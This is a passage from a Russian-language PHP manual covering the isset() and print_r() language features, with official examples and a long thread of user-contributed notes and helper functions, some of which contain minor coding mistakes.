var_dump(isset($a, $b)); // TRUE

unset ($a);

var_dump(isset($a)); // FALSE
var_dump(isset($a, $b)); // FALSE

$foo = NULL;
var_dump(isset($foo)); // FALSE

?>

Конструкция также работает с элементами массивов:

<?php

$a = array ('test' => 1, 'hello' => NULL, 'pie' => array('a' => 'apple'));

var_dump(isset($a['test'])); // TRUE
var_dump(isset($a['foo'])); // FALSE
var_dump(isset($a['hello'])); // FALSE

// Элемент с ключом «hello» равен NULL, поэтому он считается неопределённым
// Если нужно проверить существование ключей со значением NULL, делают так:
var_dump(array_key_exists('hello', $a)); // TRUE

// Проверка вложенных элементов массива
var_dump(isset($a['pie']['a'])); // TRUE
var_dump(isset($a['pie']['b'])); // FALSE
var_dump(isset($a['cake']['a']['b'])); // FALSE

?>

Пример #2 Языковая конструкция isset() и строковые индексы

<?php
$expected_array_got_string = 'somestring';
var_dump(isset($expected_array_got_string['some_key']));
var_dump(isset($expected_array_got_string[0]));
var_dump(isset($expected_array_got_string['0']));
var_dump(isset($expected_array_got_string[0.5]));
var_dump(isset($expected_array_got_string['0.5']));
var_dump(isset($expected_array_got_string['0 Mostel']));
?>

Результат выполнения приведённого примера:

bool(false)
bool(true)
bool(true)
bool(true)
bool(false)
bool(false)

Примечания

Внимание

Конструкция isset() работает только с переменными, поэтому передача в качестве аргументов любых других значений приведёт к ошибке парсинга. Для проверки определения констант пользуются функцией defined().

Замечание: Поскольку это языковая конструкция, а не функция, её нельзя вызывать как переменную функцию или передавать как именованный аргумент.

Замечание:

При вызове конструкции isset() на недоступных свойствах объекта, будет вызываться метод перегрузки __isset(), если он существует.

Смотрите также

  • empty() - Проверяет, пуста ли переменная
  • __isset()
  • unset() - Удаляет переменную
  • defined() - Проверяет, существует ли константа с заданным именем
  • Таблица сравнения типов
  • array_key_exists() - Проверяет, существует ли в массиве заданный ключ или индекс
  • is_null() - Проверяет, равно ли значение переменной null
  • Оператор управления ошибками @

User Contributed Notes

eckoson at gmail dot com 01-Aug-2023 02:41
If you are annoyed by the behavior of isset() concerning null values, here is a handy function for you. its similar to array_key_exists but, its a lot more flexible and can check for multiple array keys across multiple arrays.
Not recursive!
Tested on php 8.1.6, linux
<?php
/**
* is_set
* @author DJ Eckoson
* @link @eckosongh Facebook Page
* checks whether variable names are set within the global space or they exists as an key and return if they are set (even if their values are null)
* @param string $var_name
*   name of the first variable to check
* @param array|null|string
*   optional array to check for key (if null, checks from $GLOBALS) OR
*   other variable names to check OR
*   other variable names and their associated arrays to their right (use null for global variables, optional if its the last parameter)
* check examples below
*/
function is_set(string $var_name, array|null|string ... $args): bool {
  $vars[$var_name] = null;
  if (array_key_exists(0, $args)) {
    if (is_array($args[0])) {
      $vars[$var_name] = $args[0];
    } elseif (is_string($args[0])) {
      goto main;
    }
    unset($args[0]);
  }
  main:
  if ($args) {
    $args = array_reverse($args);
    $cur_array = null;
    array_walk($args, function ($value) use (&$cur_array, &$vars): void {
      if (!is_string($value)) {
        $cur_array = $value;
      } else {
        $vars[$value] = $cur_array;
      }
    });
  }
  foreach ($vars as $name => $array) {
    if (!array_key_exists($name, $array??$GLOBALS)) return false;
  }
  return true;
}

// Examples
$arr1 = range(0, 5);
$arr2 = [
  'a' => 1,
  'b' => 2,
  'c' => 'hELLO wORLD!'
];
$gender = 'male';
$age = 12;
var_dump(is_set('age')); // true
var_dump(is_set('age', null)); // true
var_dump(is_set('age', $arr1)); // false
var_dump(is_set('age', array())); // false
var_dump(is_set('age', array('age' => 48))); // true
var_dump(is_set('age', 'arr1', null, 'b', $arr2, 0, 3, 4, $arr1, 'gender')); // true
var_dump(is_set('age', 'arr1', null, 'b', $arr2, 0, 3, 4, $arr1, 'gender', null)); // true

$c=$d=$e=$a=2;
$arr = [1,4];
var_dump(is_set('a', 'c', null, 0, 1, $arr)); // true
var_dump(is_set('a', 'c', null, 0, 4, $arr)); // false
?>
 Note:
 it won't work for variables declared locally inside a function;
 however you can use it for checking if array keys exists inside a function
Hayley Watson 30-Jul-2017 01:12
If you regard isset() as indicating whether the given variable has a value or not, and recall that NULL is intended to indicate that a value is _absent_ (as said, somewhat awkwardly, on its manual page), then its behaviour is not at all inconsistent or confusing.

It's not just to check for uninitialised variables - a lot of the time those are just due to sloppy coding. There are other ways a variable could fail to have a value (e.g., it's meant to hold the value returned from a function call but the function didn't have a value to return) where uninitialising the variable would not be an option nor even make sense (e.g., depending on what was to be done with the returned value).
kurdtpage at gmail dot com 21-Dec-2016 01:03
The new (as of PHP7) 'null coalesce operator' allows shorthand isset. You can use it like so:

<?php
// Fetches the value of $_GET['user'] and returns 'nobody'
// if it does not exist.
$username = $_GET['user'] ?? 'nobody';
// This is equivalent to:
$username = isset($_GET['user']) ? $_GET['user'] : 'nobody';

// Coalescing can be chained: this will return the first
// defined value out of $_GET['user'], $_POST['user'], and
// 'nobody'.
$username = $_GET['user'] ?? $_POST['user'] ?? 'nobody';
?>

Quoted from http://php.net/manual/en/migration70.new-features.php#migration70.new-features.null-coalesce-op
p_ignorethis_lbowers at gmail dot com 06-Oct-2016 07:26
I, too, was dismayed to find that isset($foo) returns false if ($foo == null). Here's an (awkward) way around it.

unset($foo);
if (compact('foo') != array()) {
  do_your_thing();
}

Of course, that is very non-intuitive, long, hard-to-understand, and kludgy. Better to design your code so you don't depend on the difference between an unset variable and a variable with the value null. But "better" only because PHP has made this weird development choice.

In my thinking this was a mistake in the development of PHP. The name ("isset") should describe the function and not have the desciption be "is set AND is not null". If it was done properly a programmer could very easily do (isset($var) || is_null($var)) if they wanted to check for this!

A variable set to null is a different state than a variable not set - there should be some easy way to differentiate. Just my (pointless) $0.02.
ayyappan dot ashok at gmail dot com 24-Mar-2016 07:23
Return Values :
Returns TRUE if var exists and has value other than NULL, FALSE otherwise.

<?php
$a=NULL;
$b=FALSE; //The out put was TRUE.
$c=TRUE;
$d='';
$e="";
if(isset($b)):
echo "TRUE";
else:
echo "FALSE";
endif;
?>
Could any one explain me in clarity.
andreasonny83 at gmail dot com 12-May-2015 11:26
Here is an example with multiple parameters supplied

<?php
$var = array();
$var['val1'] = 'test';
$var['val2'] = 'on';

if ( isset( $var['val1'], $var['val2'] ) && $var['val2'] === 'on' ) {
    unset( $var['val1'] );
}
print_r( $var );
?>

This will output:
Array
(
    [val2] => on
)

The following code does the same calling "isset" 2 times:

<?php
$var = array();
$var['val1'] = 'test';
$var['val2'] = 'on';

if ( isset( $var['val1'] ) && isset( $var['val2'] ) && $var['val2'] === 'on' ) {
    unset( $var['val1'] );
}
print_r( $var );
?>
Cuong Huy To 23-Mar-2011 05:08
1) Note that isset($var) doesn't distinguish the two cases when $var is undefined, or is null. Evidence is in the following code.

<?php
unset($undefined);
$null = null;
if (true === isset($undefined)){echo 'isset($undefined) === true'} else {echo 'isset($undefined) === false'); // 'isset($undefined) === false'
if (true === isset($null)){echo 'isset($null) === true'} else {echo 'isset($null) === false');              // 'isset($null)      === false'
?>

2) If you want to distinguish undefined variable with a defined variable with a null value, then use array_key_exist

<?php
unset($undefined);
$null = null;

if (true !== array_key_exists('undefined', get_defined_vars())) {echo '$undefined does not exist';} else {echo '$undefined exists';} // '$undefined does not exist'
if (true === array_key_exists('null', get_defined_vars())) {echo '$null exists';} else {echo '$null does not exist';}                // '$null exists'
?>
francois vespa 22-Dec-2010 07:21
Now this is how to achieve the same effect (ie, having isset() returning true even if variable has been set to null) for objects and arrays

<?php

// array

$array=array('foo'=>null);

return isset($array['foo']) || array_key_exists('foo',$array)
  ? true : false ; // return true

return isset($array['inexistent']) || array_key_exists('inexistent',$array)
  ? true : false ; // return false

// static class

class bar

{
  static $foo=null;
}

return isset(bar::$foo) || array_key_exists('foo',get_class_vars('bar'))
  ? true : false ; // return true

return isset(bar::$inexistent) || array_key_exists('inexistent',get_class_vars('bar'))
  ? true : false ; // return false

// object

class bar
{
    public $foo=null;
}

$bar=new bar();

return isset($bar->foo) || array_key_exists('foo',get_object_vars($bar))
  ? true : false ; // return true

return isset($bar->inexistent) || array_key_exists('inexistent',get_object_vars($bar))
  ? true : false ; // return true

// stdClass

$bar=new stdClass;
$bar->foo=null;

return isset($bar->foo) || array_key_exists('foo',get_object_vars($bar))
  ? true : false ; // return true

return isset($bar->inexistent) || array_key_exists('inexistent',get_object_vars($bar))
  ? true : false ; // return true

?>
Anl zselgin 14-Aug-2009 03:30
Note: Because this is a language construct and not a function, it cannot be called using variable functions.

So why it is under "Variable handling Functions". Maybe there should be some good documentation field for language constructs.
Ashus 08-Dec-2008 01:05
Note that array keys are case sensitive.

<?php
$ar['w'] = true;

var_dump(isset($ar['w']),
      isset($ar['W']));
?>

will report:
bool(true) bool(false)
a dot schaffhirt at sedna-soft dot de 12-Oct-2008 08:01
You can safely use isset to check properties and subproperties of objects directly. So instead of writing

    isset($abc) && isset($abc->def) && isset($abc->def->ghi)

or in a shorter form

    isset($abc, $abc->def, $abc->def->ghi)

you can just write

    isset ($abc->def->ghi)

without raising any errors, warnings or notices.

Examples
<?php
    $abc = (object) array("def" => 123);
    var_dump(isset($abc));                // bool(true)
    var_dump(isset($abc->def));           // bool(true)
    var_dump(isset($abc->def->ghi));      // bool(false)
    var_dump(isset($abc->def->ghi->jkl)); // bool(false)
    var_dump(isset($def));                // bool(false)
    var_dump(isset($def->ghi));           // bool(false)
    var_dump(isset($def->ghi->jkl));      // bool(false)

    var_dump($abc);                       // object(stdClass)#1 (1) { ["def"] => int(123) }
    var_dump($abc->def);                  // int(123)
    var_dump($abc->def->ghi);             // null / E_NOTICE: Trying to get property of non-object
    var_dump($abc->def->ghi->jkl);        // null / E_NOTICE: Trying to get property of non-object
    var_dump($def);                       // null / E_NOTICE: Trying to get property of non-object
    var_dump($def->ghi);                  // null / E_NOTICE: Trying to get property of non-object
    var_dump($def->ghi->jkl);             // null / E_NOTICE: Trying to get property of non-object
?>
mandos78 AT mail from google 29-Jul-2008 02:40
Careful with this function "ifsetfor" by soapergem, passing by reference means that if, like the example $_GET['id'], the argument is an array index, it will be created in the original array (with a null value), thus causing posible trouble with the following code. At least in PHP 5.

For example:

<?php
$a = array();
print_r($a);
ifsetor($a["unsetindex"], 'default');
print_r($a);
?>

will print

Array
(
)
Array
(
    [unsetindex] =>
)

Any foreach or similar will be different before and after the call.
packard_bell_nec at hotmail dot com 25-Dec-2007 11:18
Note: isset() only checks variables as anything else will result in a parse error. In other words, the following will not work: isset(trim($name)).

isset() is the opposite of is_null($var) , except that no warning is generated when the variable is not set.
beuc at beuc dot net 16-Dec-2006 12:35
"empty() is the opposite of (boolean) var, except that no warning is generated when the variable is not set."

So essentially
<?php
if (isset($var) && $var)
?>
is the same as
<?php
if (!empty($var))
?>
doesn't it? :)

!empty() mimics the chk() function posted before.
randallgirard at hotmail dot com 27-Sep-2006 11:51
The unexpected results of isset has been really frustrating to me. Hence, it doesn't work how you'd think it would, (as documented) a var currently in the scope with a null value will return false.

Heres a quick solution, perhaps there are better ways of going about this, but heres my solution...

<?php
function is_set( $varname, $parent=null ) {
  if ( !is_array( $parent ) && !is_object($parent) ) {
    $parent = $GLOBALS;
  }
  return array_key_exists( $varname, $parent );
}
?>

Hence, $varname should be a mixed value of var's to check for, and $parent can be an array or object, which will default to the GLOBAL scope. See the documentation of array_key_exists for further information.

This will allow to check if a var is in the current scope, object, or array... Whether it's a null, false, true, or any value. It depends on ARRAY_KEY_EXISTS for it's functionality which also works with Objects. Feel free to improve on this anyone ;D
Tee Cee 20-Aug-2006 05:20
In response to 10-Feb-2006 06:02, isset($v) is in all (except possibly buggy) cases equivalent to !is_null($v). And no, it doesn't actually test if a variable is set or not by my definition "$v is set if unset($v) has no effect".

<?php
unset($c); //force $c to be unset
var_dump($a=&$c); // NULL, but this actually sets $a and $c to the 'same' NULL.
var_dump(isset($c)); // bool(false)
var_dump($a = 5); // int(5)
var_dump($c); // int(5)

unset($c);
var_dump($a=&$c); // NULL
var_dump(isset($c)); // bool(false)
unset($c);
var_dump($a = 5); // int(5)
var_dump($c); // NULL
?>

In the following example, we see an alternate method of testing if a variable is actually set or not:
<?php
var_dump(array_key_exists('c',get_defined_vars())); // false
var_dump(isset($c));                                // also false
var_dump($c);                                       // manipulate $c a bit...
var_dump((string)$c);
var_dump(print_r($c,true));
var_dump($a=$c);
var_dump(array_key_exists('c',get_defined_vars())); // ... still false
var_dump($c = NULL);                                // this sets $c
var_dump(array_key_exists('c',get_defined_vars())); // true!
var_dump(isset($c));                                // false; isset() still says it's unset
unset($c);                                          // actually unset it
var_dump(array_key_exists('c',get_defined_vars())); // false
var_dump($a=&$c);
var_dump(array_key_exists('c',get_defined_vars())); // true!
unset($c);                                          // unset it again
var_dump(&$c);                                      // &NULL
var_dump(array_key_exists('c',get_defined_vars())); // true!
?>

Obviously, null values take up space (or they wouldn't show up in get_defined_vars). Also, note that &$v sets $v to NULL if it is unset.
soywiz at php dot net 14-Apr-2006 06:12
Sometimes you have to check if an array has some keys. To achieve it you can use "isset" like this: isset($array['key1'], $array['key2'], $array['key3'], $array['key4'])
You have to write $array all times and it is reiterative if you use same array each time.

With this simple function you can check if an array has some keys:

<?php
function isset_array() {
    if (func_num_args() < 2) return true;
    $args = func_get_args();
    $array = array_shift($args);
    if (!is_array($array)) return false;
    foreach ($args as $n) if (!isset($array[$n])) return false;
    return true;
}
?>

Use: isset_array($array, 'key1', 'key2', 'key3', 'key4')
First parameter has the array; following parameters has the keys you want to check.
Andrew Penry 11-May-2005 08:17
The following is an example of how to test if a variable is set, whether or not it is NULL. It makes use of the fact that an unset variable will throw an E_NOTICE error, but one initialized as NULL will not.

<?php

function var_exists($var){
    if (empty($GLOBALS['var_exists_err'])) {
        return true;
    } else {
        unset($GLOBALS['var_exists_err']);
        return false;
    }
}

function var_existsHandler($errno, $errstr, $errfile, $errline) {
   $GLOBALS['var_exists_err'] = true;
}

$l = NULL;
set_error_handler("var_existsHandler", E_NOTICE);
echo (var_exists($l)) ? "True " : "False ";
echo (var_exists($k)) ? "True " : "False ";
restore_error_handler();

?>

Outputs:
True False

The problem is, the set_error_handler and restore_error_handler calls can not be inside the function, which means you need 2 extra lines of code every time you are testing. And if you have any E_NOTICE errors caused by other code between the set_error_handler and restore_error_handler they will not be dealt with properly. One solution:

<?php

function var_exists($var){
   if (empty($GLOBALS['var_exists_err'])) {
       return true;
   } else {
       unset($GLOBALS['var_exists_err']);
       return false;
   }
}

function var_existsHandler($errno, $errstr, $errfile, $errline) {
    $filearr = file($errfile);
    if (strpos($filearr[$errline-1], 'var_exists') !== false) {
        $GLOBALS['var_exists_err'] = true;
        return true;
    } else {
        return false;
    }
}

$l = NULL;
set_error_handler("var_existsHandler", E_NOTICE);
echo (var_exists($l)) ? "True " : "False ";
echo (var_exists($k)) ? "True " : "False ";
is_null($j);
restore_error_handler();

?>

Outputs:
True False
Notice: Undefined variable: j in filename.php on line 26

This will make the handler only handle var_exists, but it adds a lot of overhead. Everytime an E_NOTICE error happens, the file it originated from will be loaded into an array.
yaogzhan at gmail dot com 20-Mar-2005 04:52
If you have

<?PHP
class Foo
{
    protected $data = array('bar' => null);

    function __get($p)
    {
        if( isset($this->data[$p]) ) return $this->data[$p];
    }
}
?>

and
<?PHP
$foo = new Foo;
echo isset($foo->bar);
?>
will always echo 'false'. because the isset() accepts VARIABLES as it parameters, but in this case, $foo->bar is NOT a VARIABLE. it is a VALUE returned from the __get() method of the class Foo. thus the isset($foo->bar) expreesion will always equal 'false'.


Выводит удобочитаемую информацию о переменной

  • « isset
  • serialize »
  • PHP Manual
  • Функции для работы с переменными
  • Выводит удобочитаемую информацию о переменной

print_r

(PHP 4, PHP 5, PHP 7, PHP 8)

print_r — Выводит удобочитаемую информацию о переменной

Описание

print_r(mixed $value, bool $return = false): string|bool

Функция print_r() выводит информацию о переменной в удобочитаемом виде.

Функциям print_r(), var_dump() и var_export() разрешено также показывать защищённые и закрытые атрибуты объектов. Статические элементы класса не будут отображены.

Список параметров

value

Выражение для вывода на экран.

return

Если нужно перехватить вывод функции print_r(), необходимо задать параметр return. Если для этого параметра установлено значение true, то функция print_r() вернёт информацию, а не выведет её.

Возвращаемые значения

Если в функцию передана строка (string), целое число (int) или число с плавающей точкой (float), будет напечатано само значение. Если передан массив (array), значения будут напечатаны в формате, показывающем ключи и элементы массива. Аналогичный формат вывода будет применён для объектов.

Если параметр return установлен в true, функция вернёт строку (string). В противном случае возвращаемое значение будет равно true.

Примеры

Пример #1 Пример использования функции print_r()

<pre>
<?php

$a = array ('a' => 'яблоко', 'b' => 'банан', 'c' => array ('x', 'y', 'z'));
print_r ($a);
?>
</pre>

Результат выполнения приведённого примера:

<pre>
Array
(
    [a] => яблоко
    [b] => банан
    [c] => Array
        (
            [0] => x
            [1] => y
            [2] => z
        )
)
</pre>

Пример #2 Пример использования параметра return

<?php
$b = array ('m' => 'обезьяна', 'foo' => 'bar', 'x' => array ('x', 'y', 'z'));
$results = print_r($b, true); // Переменная $results теперь содержит вывод print_r
?>

Примечания

Замечание:

Поскольку в сигнатуре функции есть параметр return, она будет использовать внутреннюю буферизацию вывода до PHP 7.1.0, поэтому её нельзя использовать в качестве callback-функции при вызове функции ob_start().

Смотрите также

  • ob_start() - Включает буферизацию вывода
  • var_dump() - Выводит информацию о переменной
  • var_export() - Выводит или возвращает интерпретируемое строковое представление переменной

User Contributed Notes

ajaykwatra at gmail dot com 12-Mar-2018 08:33
easier and better readability with print_r and vardump for php developers

https://gist.github.com/akwatra/b6a2f21b33e7a86d148618d8a83276b0
Soaku 28-Sep-2017 04:47
liamtoh6@hotmail.com posted a function that will echo print_r output with proper new lines in HTML files. He used <pre> for it to work, but that might not be always the best method to go. For example, it is not valid to place <pre> inside <p>.

Here is my way to do this:

<?php

function print_rbr ($var, $return = false) {
  $r = nl2br(htmlspecialchars(print_r($var, true)));
  if ($return) return $r;
  else echo $r;
}

?>

This function will:

- Place <br> where newlines are,
- Escape unsecure characters with HTML entities.
Soaku 28-Jul-2017 10:24
Remember to always htmlspecialchars print_r output, if it can contain html characters.

<?php

$array = array("<some>html<tags>");

print_r($array); // Invalid output, HTML breaks.
echo htmlspecialchars(print_r($array, true)); // Works and doesn't break the output.
?>
simivar at gmail dot com 21-Jun-2017 01:31
I've fixed function wrote by Matt to reverse print_r - it had problems with null values. Created a GIST for that too so please add any future fixes in there instead of this comment section:
https://gist.github.com/simivar/037b13a9bbd53ae5a092d8f6d9828bc3

<?php
/**
  * Matt: core
  * Trixor: object handling
  * lech: Windows suppport
  * simivar: null support
  *
  * @see http://php.net/manual/en/function.print-r.php
  **/
function print_r_reverse($input) {
        $lines = preg_split('#\r?\n#', trim($input));
        if (trim($lines[ 0 ]) != 'Array' && trim($lines[ 0 ] != 'stdClass Object')) {
            // bottomed out to something that isn't an array or object
            if ($input === '') {
                return null;
            }

            return $input;
        } else {
            // this is an array or object, lets parse it
            $match = array();
            if (preg_match("/(\s{5,})\(/", $lines[ 1 ], $match)) {
                // this is a tested array/recursive call to this function
                // take a set of spaces off the beginning
                $spaces = $match[ 1 ];
                $spaces_length = strlen($spaces);
                $lines_total = count($lines);
                for ($i = 0; $i < $lines_total; $i++) {
                    if (substr($lines[ $i ], 0, $spaces_length) == $spaces) {
                        $lines[ $i ] = substr($lines[ $i ], $spaces_length);
                    }
                }
            }
            $is_object = trim($lines[ 0 ]) == 'stdClass Object';
            array_shift($lines); // Array
            array_shift($lines); // (
            array_pop($lines); // )
            $input = implode("\n", $lines);
            $matches = array();
            // make sure we only match stuff with 4 preceding spaces (stuff for this array and not a nested one)
            preg_match_all("/^\s{4}\[(.+?)\] \=\> /m", $input, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
            $pos = array();
            $previous_key = '';
            $in_length = strlen($input);
            // store the following in $pos:
            // array with key = key of the parsed array's item
            // value = array(start position in $in, $end position in $in)
            foreach ($matches as $match) {
                $key = $match[ 1 ][ 0 ];
                $start = $match[ 0 ][ 1 ] + strlen($match[ 0 ][ 0 ]);
                $pos[ $key ] = array($start, $in_length);
                if ($previous_key != '') {
                    $pos[ $previous_key ][ 1 ] = $match[ 0 ][ 1 ] - 1;
                }
                $previous_key = $key;
            }
            $ret = array();
            foreach ($pos as $key => $where) {
                // recursively see if the parsed out value is an array too
                $ret[ $key ] = print_r_reverse(substr($input, $where[ 0 ], $where[ 1 ] - $where[ 0 ]));
            }

            return $is_object ? (object)$ret : $ret;
        }
    }
?>
anymix dot services at gmail dot com 28-May-2017 04:31
// New var export option

function varExp($E,$vE){
    $vE.="=array(";$sep="";
    foreach ($E as $veK => $veV) {
        $vE.=$sep."'$veK'=>'$veV'";$sep=",";
    }
    $vE.=");";
    return $vE;
}

print varExp($I,"\$I");
lech 02-May-2017 08:30
A slight amendment to Matt's awesome print_r_reverse function (Thank You, a life-saver - data recovery :-) . If the output is copied from a Windows system, the end of lines may include the return character "\r" and so the scalar (string) elements will include a trailing "\r" character that isn't suppose to be there. To resolve, replace the first line in the function with...

<?php $lines = preg_split('#\r?\n#', trim($in)); ?>

This will work for both cases (Linux and Windows).

I include the entire function below for completeness, but all credit to Matt, the original author, Thank You.

<?php
//Author: Matt (http://us3.php.net/print_r)
function print_r_reverse($in) {
    $lines = preg_split('#\r?\n#', trim($in));
    if (trim($lines[0]) != 'Array') {
        // bottomed out to something that isn't an array
        return $in;
    } else {
        // this is an array, lets parse it
        if (preg_match("/(\s{5,})\(/", $lines[1], $match)) {
            // this is a tested array/recursive call to this function
            // take a set of spaces off the beginning
            $spaces = $match[1];
            $spaces_length = strlen($spaces);
            $lines_total = count($lines);
            for ($i = 0; $i < $lines_total; $i++) {
                if (substr($lines[$i], 0, $spaces_length) == $spaces) {
                    $lines[$i] = substr($lines[$i], $spaces_length);
                }
            }
        }
        array_shift($lines); // Array
        array_shift($lines); // (
        array_pop($lines); // )
        $in = implode("\n", $lines);
        // make sure we only match stuff with 4 preceding spaces (stuff for this array and not a nested one)
        preg_match_all("/^\s{4}\[(.+?)\] \=\> /m", $in, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
        $pos = array();
        $previous_key = '';
        $in_length = strlen($in);
        // store the following in $pos:
        // array with key = key of the parsed array's item
        // value = array(start position in $in, $end position in $in)
        foreach ($matches as $match) {
            $key = $match[1][0];
            $start = $match[0][1] + strlen($match[0][0]);
            $pos[$key] = array($start, $in_length);
            if ($previous_key != '') $pos[$previous_key][1] = $match[0][1] - 1;
            $previous_key = $key;
        }
        $ret = array();
        foreach ($pos as $key => $where) {
            // recursively see if the parsed out value is an array too
            $ret[$key] = print_r_reverse(substr($in, $where[0], $where[1] - $where[0]));
        }
        return $ret;
    }
}
?>
Trixor 01-Feb-2017 07:12
I've made a small improvement to the print_r_reverse function to also handle objects. Thanks to Matt for making the original.

<?php
function print_r_reverse($in) {
  $lines = explode("\n", trim($in));
  if (trim($lines[0]) != 'Array' && trim($lines[0] != 'stdClass Object')) {
// bottomed out to something that isn't an array or object
    return $in;
  } else {
// this is an array or object, lets parse it
    $match = array();
    if (preg_match("/(\s{5,})\(/", $lines[1], $match)) {
// this is a tested array/recursive call to this function
// take a set of spaces off the beginning
      $spaces = $match[1];
      $spaces_length = strlen($spaces);
      $lines_total = count($lines);
      for ($i = 0; $i < $lines_total; $i++) {
        if (substr($lines[$i], 0, $spaces_length) == $spaces) {
          $lines[$i] = substr($lines[$i], $spaces_length);
        }
      }
    }
    $is_object = trim($lines[0]) == 'stdClass Object';
    array_shift($lines); // Array
    array_shift($lines); // (
    array_pop($lines); // )
    $in = implode("\n", $lines);
    $matches = array();
// make sure we only match stuff with 4 preceding spaces (stuff for this array and not a nested one)
    preg_match_all("/^\s{4}\[(.+?)\] \=\> /m", $in, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
    $pos = array();
    $previous_key = '';
    $in_length = strlen($in);
// store the following in $pos:
// array with key = key of the parsed array's item
// value = array(start position in $in, $end position in $in)
    foreach ($matches as $match) {
      $key = $match[1][0];
      $start = $match[0][1] + strlen($match[0][0]);
      $pos[$key] = array($start, $in_length);
      if ($previous_key != '') {
        $pos[$previous_key][1] = $match[0][1] - 1;
      }
      $previous_key = $key;
    }
    $ret = array();
    foreach ($pos as $key => $where) {
// recursively see if the parsed out value is an array too
      $ret[$key] = print_r_reverse(substr($in, $where[0], $where[1] - $where[0]));
    }
    return $is_object ? (object) $ret : $ret;
  }
}
?>
ntd at entidi dot it 31-Jul-2015 05:43
Another attempt that tries to overcome the memory blowout when the passed in data has mutual recursion.

<?php
function safe_print_r($data, $nesting = 5, $indent = '') {
    if (! is_object($data) && ! is_array($data)) {
        var_dump($data);
    } elseif ($nesting < 0) {
        echo "** MORE **\n";
    } else {
        echo ucfirst(gettype($data)) . " (\n";
        foreach ((array) $data as $k => $v) {
            echo $indent . "\t[$k] => ";
            safe_print_r($v, $nesting - 1, "$indent\t");
        }
        echo "$indent)\n";
    }
}
?>
Sumit 27-May-2015 01:20
I prefer to use
<?php
printf("<pre>%s</pre>",print_r($_POST, true));
?>
Simon Asika 06-Nov-2013 04:06
Here is a print_r() clone but support max level limit.

When we want to print a big object, this will help us get a clean dumping data.

<?php

/**
 * Recrusive print variables and limit by level.
 *
 * @param   mixed  $data   The variable you want to dump.
 * @param   int    $level  The level number to limit recrusive loop.
 *
 * @return  string  Dumped data.
 *
 * @author  Simon Asika (asika32764[at]gmail com)
 * @date    2013-11-06
 */
function print_r_level($data, $level = 5)
{
    static $innerLevel = 1;

    static $tabLevel = 1;

    static $cache = array();

    $self = __FUNCTION__;

    $type       = gettype($data);
    $tabs       = str_repeat('    ', $tabLevel);
    $quoteTabes = str_repeat('    ', $tabLevel - 1);

    $recrusiveType = array('object', 'array');

    // Recrusive
    if (in_array($type, $recrusiveType))
    {
        // If type is object, try to get properties by Reflection.
        if ($type == 'object')
        {
            if (in_array($data, $cache))
            {
                return "\n{$quoteTabes}*RECURSION*\n";
            }

            // Cache the data
            $cache[] = $data;

            $output     = get_class($data) . ' ' . ucfirst($type);
            $ref        = new \ReflectionObject($data);
            $properties = $ref->getProperties();

            $elements = array();

            foreach ($properties as $property)
            {
                $property->setAccessible(true);

                $pType = $property->getName();

                if ($property->isProtected())
                {
                    $pType .= ":protected";
                }
                elseif ($property->isPrivate())
                {
                    $pType .= ":" . $property->class . ":private";
                }

                if ($property->isStatic())
                {
                    $pType .= ":static";
                }

                $elements[$pType] = $property->getValue($data);
            }
        }
        // If type is array, just retun it's value.
        elseif ($type == 'array')
        {
            $output = ucfirst($type);
            $elements = $data;
        }

        // Start dumping datas
        if ($level == 0 || $innerLevel < $level)
        {
            // Start recrusive print
            $output .= "\n{$quoteTabes}(";

            foreach ($elements as $key => $element)
            {
                $output .= "\n{$tabs}[{$key}] => ";

                // Increment level
                $tabLevel = $tabLevel + 2;
                $innerLevel++;

                $output  .= in_array(gettype($element), $recrusiveType) ? $self($element, $level) : $element;

                // Decrement level
                $tabLevel = $tabLevel - 2;
                $innerLevel--;
            }

            $output .= "\n{$quoteTabes})\n";
        }
        else
        {
            $output .= "\n{$quoteTabes}*MAX LEVEL*\n";
        }
    }

    // Clean cache
    if($innerLevel == 1)
    {
        $cache = array();
    }

    return $output;
}// End function

// TEST ------------------------------------

class testClass
{
    protected $a = 'aaa';

    private $b = 'bbb';

    public $c = array(1, 2, ['a', 'b', 'c'], 4);

    static public $d = 'ddd';

    static protected $e = 'eee';
}

$test = new testClass;

$test->testClass = $test;

echo '<pre>' . print_r_level($test, 3) . '</pre>';

?>

will output
-------------------------------------------------------------

testClass Object
(
    [a:protected] => aaa
    [b:testClass:private] => bbb
    [c] => Array
        (
            [0] => 1
            [1] => 2
            [2] => Array
                *MAX LEVEL*

            [3] => 4
        )

    [d:static] => ddd
    [e:protected:static] => eee
    [testClass] =>
        *RECURSION*

)
preda dot vlad at yahoo dot com 22-Mar-2013 09:40
print_r(), just like var_dump() does NOT cast an object, not even if it has a __toString() method - which is normal.

<?php
class A {
    public function __toString() {
        return 'In class A';
    }
}
$a = new A;
echo $a; // In class A
print_r($a); // A Object()
// you can simulate the echo by casting it manually
print_r((string)$a);  // In class A
henzeberkheij at gmail dot com 28-Jan-2012 03:10
print_r is used for debug purposes. Yet I had some classes where I just wanted the values coming out of the database, not all the other crap. thus i wrote the following function. If your class has an toArray function, that one will be called otherwise it will return the object as is. print_neat_classes_r is the function that should be called!

<?php
print_neat_classes_r($array, $return=false){
        return print_r(self::neat_class_print_r($array), $return);
    }

function do_print_r($array, $return=false){
        if(is_object($array) && method_exists($array, 'toArray')){
            return $array->toArray();
        }else if(is_array($array)){
            foreach($array as $key=>$obj){
                $array[$key] = self::do_print_r($obj, $return);
            }
            return $array;
        }else{
            return $array;
        }
    }
?>
eithed 21-Oct-2011 02:25
Bear in mind that print_r actually reserves some memory to do something - so, for example thing like:

<?php
function shutdown_handler()
{
    file_put_contents($_SERVER['DOCUMENT_ROOT']."/log.txt", print_r($_REQUEST, true));
}

ini_set('memory_limit', '1M');
register_shutdown_function("shutdown_handler");

$array = array();
while(true)
    $array[] = new stdClass();
?>

will just not work. Try using var_export, and presto, everything is fine.
machuidel 03-Feb-2011 04:01
The following will output an array in a PHP parsable format:

<?php
function serialize_array(&$array, $root = '$root', $depth = 0)
{
        $items = array();

        foreach($array as $key => &$value)
        {
                if(is_array($value))
                {
                        serialize_array($value, $root . '[\'' . $key . '\']', $depth + 1);
                }
                else
                {
                        $items[$key] = $value;
                }
        }

        if(count($items) > 0)
        {
                echo $root . ' = array(';

                $prefix = '';
                foreach($items as $key => &$value)
                {
                        echo $prefix . '\'' . $key . '\' => \'' . addslashes($value) . '\'';
                        $prefix = ', ';
                }

                echo ');' . "\n";
        }
}
?>
Alexander 19-Mar-2010 05:20
A simple function to send the output of print_r to firebug.
